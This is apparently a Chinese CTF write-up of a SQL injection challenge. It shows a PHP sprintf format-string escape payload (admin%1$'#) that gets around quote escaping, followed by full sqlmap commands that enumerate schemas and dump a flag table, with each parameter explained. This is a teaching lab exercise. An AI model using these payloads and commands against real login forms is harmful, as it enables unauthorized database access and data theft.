题目分析
由题目的名称明显本题是一道sql注入题
- 尝试盲注、报错注入,猜闭合方式等,无果
- 目录扫描,无果
- 用户名为admin,尝试爆破登陆密码,无果
- 密码未知
当用户名不正确时,会提示username error!。密码不正确时,提示password error!
由于手工测试没有效果,可能存在过滤或转义;这里对用户名进行fuzz
这里出现sprintf函数警告,查资料了解到,sprintf函数存在格式化字符串逃逸漏洞,由报错可以看出sprintf参数少于%的个数,需要使用占位符的写法,%1$
可以逃逸引号的转义;
sprintf漏洞参考资料:[深入解析sprintf格式化字符串漏洞]
构造pyload
admin%1$'#
出现了密码错误的回显,说明拼接语句被执行了;而且是单引号闭合;接下里就是构造sql语句注出数据
测试发现没有回显,存在bool盲注、时间盲注;使用sqlmap来注入非常方便。
列举数据库系统的架构
sqlmap -u http://49902678ce30456fbc1b76d569658847efe45acb5e404f66.changame.ichunqiu.com/ --data="username=admin&password=123456" --param-del="&" -p username --prefix "%1$'" --suffix "#" -b -v3 --schema --exclude-sysdbs --batch --dbms=mysql
// 参数说明
--dbms=mysql // 表示指定数据库为mysql
--data="xxx" // 指定sqlmap用post方式提交数据
--param-del="&" // 用&来分割--data中的post参数
-p // sqlmap默认测试所有的GET和POST参数,使用-p指明想要测试的参数
--prefix "xxx" // 在pyload的前面加上指定内容
--suffix "xxx" // 在pyload后面加上指定内容
--batch //用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
--exclude-sysdbs //列举除系统库外的库表结构
-v3 //指定sqlmap输出信息的详细程度为3级,此时sqlmap将会输出注入的payload,默认等级为1
flag在ctf库的flag表里面,获取表内容:
sqlmap -u http://49902678ce30456fbc1b76d569658847efe45acb5e404f66.changame.ichunqiu.com/ --data="username=admin&password=123456" --param-del="&" -p username --prefix "%1$'" --suffix "#" -v3 --batch --dbms=mysql -T flag --dump
// 参数说明
-T flag // 指定当前库的flag表,这里省略了-D参数,默认是当前库
--dump // 获取内容,这里获取flag表的所有内容
个人收获
1.sprinf字符串逃逸漏洞使用%来触发
2. 使用sqlmap实现自定义post注入
参考资料
1.[深入解析sprintf格式化字符串漏洞]
https://blog.csdn.net/weixin_41185953/article/details/80485075
2. [sprintf的文档]
https://www.runoob.com/php/func-string-sprintf.html
3. [php sprintf格式化注入]
https://www.cnblogs.com/nul1/p/9374422.html
4.[sqlmap用户手册]
https://www.secpulse.com/archives/4213.html